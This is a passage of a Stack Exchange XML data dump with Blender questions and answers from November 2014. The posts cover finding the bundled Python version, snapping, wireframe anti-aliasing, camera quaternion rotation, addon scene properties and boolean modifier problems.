  <row Id="18519" PostTypeId="1" AcceptedAnswerId="18524" CreationDate="2014-11-04T17:54:00.643" Score="18" ViewCount="10358" Body="&lt;p&gt;The question is where I can reliably find the information on which python version is bundled with a certain Blender release (like 2.72b at the moment)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find the major and minor version numbers as soon as a new release is out (well, as soon as I begin using it, that is), in order to be able to compile external modules which work only with certain python versions.&lt;/p&gt;&#xA;" OwnerUserId="1583" LastEditorUserId="2217" LastEditDate="2014-11-06T01:15:28.067" LastActivityDate="2018-09-04T21:25:14.607" Title="Where can I find what version of python is bundled with certain Blender versions?" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18520" PostTypeId="1" AcceptedAnswerId="18521" CreationDate="2014-11-04T18:03:48.830" Score="2" ViewCount="2471" Body="&lt;p&gt;By default when you are grabbing part of a mesh you can move it around smoothly or you can press the &lt;kbd&gt;Ctrl&lt;/kbd&gt; key to move it in steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow I pressed something I wasn't supposed to and now it moves in steps normally and I have to keep &lt;kbd&gt;Ctrl&lt;/kbd&gt; pressed to move selections around smoothly, how can I return to the default settings?&lt;/p&gt;&#xA;" OwnerDisplayName="user7790" LastEditorUserId="241" LastEditDate="2014-11-04T18:10:25.840" LastActivityDate="2014-11-04T18:10:25.840" Title="Moving in steps or smoothly, changing the default settings" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-04T21:50:41.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="18521" PostTypeId="2" ParentId="18520" CreationDate="2014-11-04T18:07:07.087" Score="4" Body="&lt;p&gt;Sounds like you have turned snapping on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holding the &lt;kbd&gt;Ctrl&lt;/kbd&gt; key toggles on snapping temporarily. I presume you have accidentally turned snapping on, meaning the Ctrl key will now toggle snapping &lt;em&gt;off&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can turn it off my clicking the magnet icon in the 3D header toolbar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuSZ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The image shows snapping is turned on)&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-11-04T18:07:07.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18522" PostTypeId="2" ParentId="18506" CreationDate="2014-11-04T20:27:26.497" Score="4" Body="&lt;p&gt;No, this is &lt;strong&gt;not possible&lt;/strong&gt; (out of the box). You will have to apply the modifier if you want a unique texture on each part of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ywBlP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-11-04T20:27:26.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18524" PostTypeId="2" ParentId="18519" CreationDate="2014-11-04T21:16:34.470" Score="13" Body="&lt;p&gt;This is no different to finding a regular Python installation version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;print(sys.version_info)&#xA;# sys.version_info(major=3, minor=4, micro=2, releaselevel='final', serial=0)&#xA;&#xA;print(sys.version_info.major)&#xA;# 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://stackoverflow.com/a/17145598/432509&quot;&gt;https://stackoverflow.com/a/17145598/432509&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-11-06T07:59:39.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18525" PostTypeId="2" ParentId="18506" CreationDate="2014-11-04T22:35:22.020" Score="1" Body="&lt;p&gt;One solution would be to use the UV Project modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add 3 empty's, rotate one by 90 degrees in the X axis, and another one by 90 degrees in the Y axis. And thhen use these as UV Projectors; This works fine for a simple cube, but you might need something different for a more complex model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OCF6T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-04T22:35:22.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18527" PostTypeId="1" AcceptedAnswerId="18528" CreationDate="2014-11-05T08:06:12.510" Score="3" ViewCount="1962" Body="&lt;p&gt;I am a bit confused about axis systems in Blender. In the first figure - the green and blue represent the Y and Z axis. When I translate the object in Y,Z directions it moves perfectly. However, when I change the object dimensions in Z direction it causes the object to change in the Y direction. &lt;img src=&quot;https://i.stack.imgur.com/HGUOk.png&quot; alt=&quot;Original Object&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/T6amQ.png&quot; alt=&quot;Object after change in dimensions along Z axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the first figure the dimensions in (Y,Z) are (725,2809) respectively - but obviously the extent of object in Y is much greater than in the Z direction. This makes me suspect that the dimensions are being shown in a coordinate system different from the one displayed on the screen. Any hints on how do I find it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sake of completeness - the airplane shown in the figure was imported as a .obj file. Since, it was composed a number of smaller meshes - I joined all these meshes into a single object and moved the geometry to origin. This is what is shown in figure 1.&lt;/p&gt;&#xA;" OwnerUserId="7845" LastEditorUserId="2217" LastEditDate="2014-11-06T00:47:17.510" LastActivityDate="2014-11-06T00:47:17.510" Title="Changing object dimensions along Y axis - scales Z axis" Tags="&lt;transforms&gt;&lt;coordinates&gt;&lt;dimensions&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18528" PostTypeId="2" ParentId="18527" CreationDate="2014-11-05T08:35:13.043" Score="5" Body="&lt;p&gt;This is because the object is rotated 90&amp;deg; around the X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So blender is scaling the object around the &lt;em&gt;local&lt;/em&gt; Z, then rotating the object so that the local Z is aligned with the global Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, apply the rotation with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Rotation&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-05T08:35:13.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18529" PostTypeId="2" ParentId="18519" CreationDate="2014-11-05T11:03:03.617" Score="14" Body="&lt;p&gt;You can see the version also in the &lt;em&gt;Python Console&lt;/em&gt; (here: v3.4.1 64bit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Npc1E.png&quot; alt=&quot;Python Console - Python Version&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-05T11:03:03.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18530" PostTypeId="1" AcceptedAnswerId="18540" CreationDate="2014-11-05T11:03:23.160" Score="1" ViewCount="993" Body="&lt;p&gt;I was trying to make a camera look at a certain object. I used the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff = objs[2].location - objs[0].location&#xA;rot_quat = diff.to_track_quat('-Z','Y') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, if I try to set the rotation using quaternion - it does not work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;camera.rotation_quaternion = rot_quat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, when I try euler rotations - it works perfectly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;camera.rotation_euler = rot_quat.to_euler()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems weird to me that this should happen. Any ideas why this is?&lt;/p&gt;&#xA;" OwnerUserId="7845" LastEditorUserId="2217" LastEditDate="2014-11-05T15:30:20.113" LastActivityDate="2014-11-05T15:50:48.493" Title="Setting euler rotates camera, but setting quaternion doesn't" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18531" PostTypeId="1" AcceptedAnswerId="18532" CreationDate="2014-11-05T11:12:10.440" Score="10" ViewCount="17602" Body="&lt;p&gt;When I create mesh etc the wireframe looks so jagged. Coming from other applications I've used, most of them seem to have smooth wireframe (Maya to name one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are smooth wireframes possible in Blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a MacPro and my version is 2.71.&lt;/p&gt;&#xA;" OwnerUserId="7847" LastEditorUserId="2217" LastEditDate="2014-11-06T00:44:15.017" LastActivityDate="2018-01-31T19:00:13.197" Title="Can the 3D viewport be set to draw smooth (anti-aliased) wireframe?" Tags="&lt;3d-view&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18532" PostTypeId="2" ParentId="18531" CreationDate="2014-11-05T11:34:58.957" Score="20" Body="&lt;p&gt;I'm assuming you're talking about anti-aliasing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pA7uy.png&quot; alt=&quot;AA&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be turned on in the User Preferences (found in the File menu), in the System tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xdu3R.png&quot; alt=&quot;screenshot AA&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to click &lt;strong&gt;Save User Settings&lt;/strong&gt; at the bottom left and restart Blender to see any effect.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Warning, on some systems (NVidia specifically) this can cause editmode vert/edge/face selection to fail. (This is an issue with the OpenGL driver and not much Blender can do to resolve)&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="55" LastEditDate="2014-11-05T13:05:26.763" LastActivityDate="2014-11-05T13:05:26.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18534" PostTypeId="2" ParentId="18527" CreationDate="2014-11-05T13:34:06.940" Score="3" Body="&lt;p&gt;Sounds to me like you scaling the object in object mode when it has a rotation applied to it. If you want that then gandalf's answer is all you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future you may wish to do all of your rotating and scaling in &lt;em&gt;Edit Mode&lt;/em&gt; rather than &lt;em&gt;Object Mode&lt;/em&gt;. This will prevent you from having to apply the transformations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple way to see if transformations need to be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/stKXu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A usefull post to look at:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/7298/why-is-it-important-to-apply-transformation&quot;&gt;Why is it important to apply transformation to an objects data?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-11-05T14:36:06.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18535" PostTypeId="1" CreationDate="2014-11-05T14:01:29.800" Score="2" ViewCount="840" Body="&lt;p&gt;I need a way to find the underlying 3D coordinates for each pixel of the camera in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I to create a function like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GetCoordinatesForPixel(xPixel, yPixel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which returns a (X, Y, Z) vector. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following threads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/16433/how-to-get-world-coordinates-of-pixels&quot;&gt;How to get world coordinates of pixels?&lt;/a&gt;&#xA;which is supposed to be a duplicate of this one:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/7397/how-to-render-world-position-pass&quot;&gt;How to render world position pass&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter solution works in that it procudes a render. However, I do not see a way to access those values in Python. &lt;/p&gt;&#xA;" OwnerUserId="7824" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-12-15T18:15:10.407" Title="How to get the worldspace location of a rendered pixel from Python" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18536" PostTypeId="1" CreationDate="2014-11-05T14:27:03.050" Score="1" ViewCount="1437" Body="&lt;p&gt;After switching from Maya to Blender I noticed that I can't select meshes as precisely as in Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Maya you select exactly what you clicked on, it doesn't matter how far the object is from the camera, you always get what you clicked on. In Blender it's fairly hard to select a specific mesh among other meshes, it seems Blender is trying to &quot;help&quot; me and correct my selection (like auto-aim in FPS games on console). I spend too much time trying to select the right mesh. Its not only time consuming, but also very annoying. I have to switch between shaded and wireframe modes, sometimes use strong zoom and hide functions to select the right mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to switch this &quot;auto-aim&quot; selection off? I would like to be able to select meshes just like in any other 3D program, by clicking exactly on them.&lt;/p&gt;&#xA;" OwnerUserId="7848" LastEditorUserId="241" LastEditDate="2014-11-05T15:22:34.403" LastActivityDate="2019-01-15T18:17:08.387" Title="Trouble selecting correct object in viewport" Tags="&lt;mesh&gt;&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18537" PostTypeId="1" CreationDate="2014-11-05T15:11:08.830" Score="0" ViewCount="724" Body="&lt;p&gt;I'm working on an addon that reads stored scene data, but am having a bit if difficulty initializing them. The value on the sliders can only be read when you manually nudge them a value or two, or else the &quot;default&quot; values always return an error that says that the values can't be read. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Material ID Utilities&quot;,&#xA;    &quot;author&quot;: &quot;Ajlan (Jacobo) Altug&quot;,&#xA;    &quot;version&quot;: (0, 1, 1),&#xA;    &quot;blender&quot;: (2, 70, 0),&#xA;    &quot;location&quot;: &quot;N Panel&quot;,&#xA;    &quot;description&quot;: &quot;Offers a nifty way to visualize and arrange Material Pass ID's.&quot;,&#xA;    &quot;category&quot;: &quot;Material&quot;}&#xA;&#xA;import bpy&#xA;from bpy.props import *&#xA;&#xA;### UI MENU ###&#xA;class AjMatidUIPanel(bpy.types.Panel):&#xA;    bl_label = &quot;AJ_MATERIAL_ID_MANAGER&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scn = context.scene&#xA;        row = layout.row()&#xA;        row.prop(scn, 'MatInd', icon='BLENDER', toggle=True)&#xA;        row.operator(&quot;select.obj&quot;)      &#xA;        row = layout.row()&#xA;        row.prop(scn, 'StrtInd', icon='BLENDER', toggle=True)&#xA;        row.operator(&quot;assign.matid&quot;)&#xA;        box = layout.box()&#xA;        scnMat = bpy.data.materials&#xA;        box.label(&quot;MATERIAL ID LISTING: &quot; + str(len(scnMat)) + &quot; MATS IN THE SCENE.&quot;)          &#xA;        for mat in scnMat:&#xA;            matPassIndex = getattr(mat, 'pass_index')&#xA;            row = box.row()&#xA;            buf = mat.name&#xA;            buf = buf + &quot; with ID: &quot; + str(matPassIndex)&#xA;            row.label(buf, icon='MATERIAL_DATA')&#xA;&#xA;### CLASS ###&#xA;class OBJECT_OT_SelectObjButton(bpy.types.Operator):&#xA;    bl_idname = &quot;select.obj&quot;&#xA;    bl_label = &quot;Select Objects with ID&quot;&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        scnMat = bpy.data.materials&#xA;        objList = []&#xA;        for obj in bpy.data.objects:&#xA;            if obj.type == &quot;MESH&quot;:&#xA;                for slot in obj.material_slots:&#xA;                    mslot = slot.material&#xA;                    if mslot != None:&#xA;                        if mslot.pass_index == scn['MatInd']:&#xA;                            objList.append(obj)&#xA;                        else:&#xA;                            pass&#xA;                    else:&#xA;                        pass&#xA;            else:&#xA;                pass&#xA;        for ob in objList:&#xA;            ob.select = True           &#xA;        return{'FINISHED'} &#xA;&#xA;&#xA;class OBJECT_OT_AssignMatIDButton(bpy.types.Operator):&#xA;    bl_idname = &quot;assign.matid&quot;&#xA;    bl_label = &quot;ID to Mats&quot;&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        scnMat = bpy.data.materials&#xA;        MatIndex = scn['MatInd']&#xA;        StrtIndex = scn['StrtInd']&#xA;        if len(scnMat) != 0:&#xA;            AssignMatID(scnMat, MatIndex, StrtIndex)&#xA;        else:&#xA;            pass&#xA;        return{'FINISHED'} &#xA;&#xA;### FUNCTIONS ###&#xA;def AssignMatID(scnMat, MatIndex, StrtIndex):&#xA;    i = StrtIndex&#xA;    for j in range(len(scnMat)):&#xA;        scnMat[j].pass_index = i&#xA;        i += 1&#xA;&#xA;###  Registration  ###&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.MatInd = IntProperty(&#xA;    name = &quot;Material ID&quot;, &#xA;    description = &quot;Material Pass Index ID&quot;)&#xA;    default = 0&#xA;&#xA;    bpy.types.Scene.StrtInd = IntProperty(&#xA;    name = &quot;Start&quot;, &#xA;    description = &quot;Start Value&quot;)&#xA;    default = 0&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.MatInd&#xA;    del bpy.types.Scene.StrtInd&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I referred to the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook&quot; rel=&quot;nofollow&quot;&gt;Code Cookbook&lt;/a&gt;, and there the scene data is initialized in a format that seems unsuitable for a runtime addon, but it works. The scene data is initialized as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import *&#xA;&#xA;#&#xA;#    Store properties in the active scene&#xA;#&#xA;def initSceneProperties(scn):&#xA;    bpy.types.Scene.MyInt = IntProperty(&#xA;        name = &quot;Integer&quot;, &#xA;        description = &quot;Enter an integer&quot;)&#xA;    scn['MyInt'] = 17&#xA;&#xA;    bpy.types.Scene.MyFloat = FloatProperty(&#xA;        name = &quot;Float&quot;, &#xA;        description = &quot;Enter a float&quot;,&#xA;        default = 33.33,&#xA;        min = -100,&#xA;        max = 100)&#xA;&#xA;    bpy.types.Scene.MyBool = BoolProperty(&#xA;        name = &quot;Boolean&quot;, &#xA;        description = &quot;True or False?&quot;)&#xA;    scn['MyBool'] = True&#xA;&#xA;    bpy.types.Scene.MyEnum = EnumProperty(&#xA;        items = [('Eine', 'Un', 'One'), &#xA;                 ('Zwei', 'Deux', 'Two'),&#xA;                 ('Drei', 'Trois', 'Three')],&#xA;        name = &quot;Ziffer&quot;)&#xA;    scn['MyEnum'] = 2&#xA;&#xA;    bpy.types.Scene.MyString = StringProperty(&#xA;        name = &quot;String&quot;)&#xA;    scn['MyString'] = &quot;Lorem ipsum dolor sit amet&quot;&#xA;    return&#xA;&#xA;initSceneProperties(bpy.context.scene)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I go about successfully initializing stored data in an addon?&lt;/p&gt;&#xA;" OwnerUserId="7530" LastEditorUserId="2217" LastEditDate="2014-11-06T01:11:14.763" LastActivityDate="2014-12-01T20:53:59.190" Title="Initializing Scene Parameters in Addons" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18538" PostTypeId="1" AcceptedAnswerId="18584" CreationDate="2014-11-05T15:21:17.797" Score="1" ViewCount="1633" Body="&lt;p&gt;I've been working happily with Blender all this week and last, performing hundreds of operations, many booleans, and getting good results in a rudimentary model for a small enclosure.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I've renamed the file to v2, and started to make a couple of changes.  I'm just removing some material using a simple shape to create insets and a boolean difference operation.  Suddenly, though, the 'difference' is behaving like a 'union' and vice-versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I'd forgotten something overnight, and tried it on two other simple objects in the same design, with the same result. I then opened a new design with just two cubes and tried it there, where it works without error.  Quit, back to my own design v2, and still the behavior is swapped.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've restarted Blender a couple of times.  Moving on to trying more renaming, rebooting tests etc.  Is this a known issue, am I missing something obvious? Is there a work-around that someone can suggest.   (I'm using ver 2.70 on Mac OS 10.8.5)&lt;/p&gt;&#xA;" OwnerUserId="7785" LastEditorUserId="2217" LastEditDate="2014-11-05T15:23:21.003" LastActivityDate="2014-11-06T16:27:23.383" Title="Boolean Union vs Difference Error - Swapped Behaviour" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18539" PostTypeId="1" AcceptedAnswerId="21432" CreationDate="2014-11-05T15:28:39.707" Score="0" ViewCount="730" Body="&lt;p&gt;I my BGE python script, I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.playAction('man_clothAction',0,20,layer=0,play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;obj.playAction('man_clothAction',30,42,layer=0,play_mode=bge.logic.KX_ACTION_MODE_LOOP)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run the code only last one runs.The difference is in the timeline. One is from 0-20 and other is from 30 to 42.&lt;/p&gt;&#xA;" OwnerUserId="6154" LastEditorUserId="2217" LastEditDate="2014-11-08T15:33:14.300" LastActivityDate="2014-12-26T21:00:22.223" Title="More than one playaction() in same BGE script" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18540" PostTypeId="2" ParentId="18530" CreationDate="2014-11-05T15:50:48.493" Score="1" Body="&lt;p&gt;It works with eulers because &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/bpy.types.Object.html?highlight=object#bpy.types.Object.rotation_mode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rotation_mode&lt;/code&gt;&lt;/a&gt; is set to &lt;code&gt;XYZ&lt;/code&gt; by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either change it to &lt;code&gt;QUATERNION&lt;/code&gt; or modify &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/bpy.types.Object.html?highlight=object#bpy.types.Object.matrix_basis&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;matrix_basis&lt;/code&gt;&lt;/a&gt; (or some of the other matrix attributes). You can easily convert any quaternion to a matrix using its method &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/mathutils.html?highlight=quaternion.to_matrix#mathutils.Quaternion.to_matrix&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;to_matrix&lt;/code&gt;&lt;/a&gt; and resize it with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/mathutils.html?highlight=quaternion.to_matrix#mathutils.Matrix.to_4x4&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;to_4x4&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = q.to_matrix().to_4x4()&#xA;mat.translation = cam.location&#xA;cam.matrix_basis = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-11-05T15:50:48.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18542" PostTypeId="1" CreationDate="2014-11-05T16:14:37.967" Score="1" ViewCount="3158" Body="&lt;p&gt;Hi I would like to render my scene as 360x20 degrees (or 360x30) panorama, but without the fisheye effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to render it so it'd look like that: &lt;a href=&quot;http://commons.wikimedia.org/wiki/File:2007-01-28_14-15_savognin_panorama_360.jpg&quot; rel=&quot;nofollow&quot;&gt;Example@Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying with panorama - equirectangular, but It seems like I can't get the parameters right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this?.&lt;/p&gt;&#xA;" OwnerUserId="7851" LastEditorUserId="3078" LastEditDate="2014-11-05T19:01:32.337" LastActivityDate="2014-11-05T19:01:32.337" Title="How to render a equirectangular non distorted panorama in Blender cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-05T21:14:54.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="18543" PostTypeId="1" AcceptedAnswerId="18634" CreationDate="2014-11-05T16:19:16.213" Score="9" ViewCount="2604" Body="&lt;p&gt;I've found &lt;code&gt;bmonofont-i18n.ttf.gz&lt;/code&gt; and &lt;code&gt;droidsans.ttf.gz&lt;/code&gt; in the &lt;code&gt;datafiles/fonts&lt;/code&gt; directory, but neither seems to be the default font that's actually used for Text objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how the default font looks:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ilEj1.png&quot; alt=&quot;default.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's bmonofont-i18n.ttf:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dZKNu.png&quot; alt=&quot;bmono.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;droidsans.ttf:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qHMkG.png&quot; alt=&quot;droidsans.ttf&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, the fonts I've found are not the same as the actual default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to find the actual default.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="2217" LastEditDate="2014-11-05T17:33:24.977" LastActivityDate="2015-12-29T16:06:41.727" Title="Where is the default text object font (Bfont)?" Tags="&lt;text-object&gt;&lt;path&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18544" PostTypeId="1" CreationDate="2014-11-05T16:59:30.043" Score="1" ViewCount="387" Body="&lt;p&gt;I wish to edit a component of an object, say a cube, using python script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I need to change the material or color of just one face of the cube/object, can I do that using python?&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="2217" LastEditDate="2014-11-05T17:31:15.070" LastActivityDate="2014-12-06T16:22:45.963" Title="Edit an object's material in Blender using python" Tags="&lt;python&gt;&lt;materials&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18545" PostTypeId="1" AcceptedAnswerId="18548" CreationDate="2014-11-05T17:46:34.393" Score="2" ViewCount="265" Body="&lt;p&gt;I'm having trouble with the Boolean difference modifier. It isn't cutting out some pieces of the mesh:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Onb0c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the difference mesh hidden (note the lack of the rectangular cutouts)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UJJNj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the normals are in order:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xd2dv.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yS2K8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifier is not showing any errors or warnings.&#xA;Paste all .blend &lt;a href=&quot;http://www.pasteall.org/blend/32615&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to any potential solutions I'm also interested in the description of situations when it happens and an explanation of the cause.&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="1479" 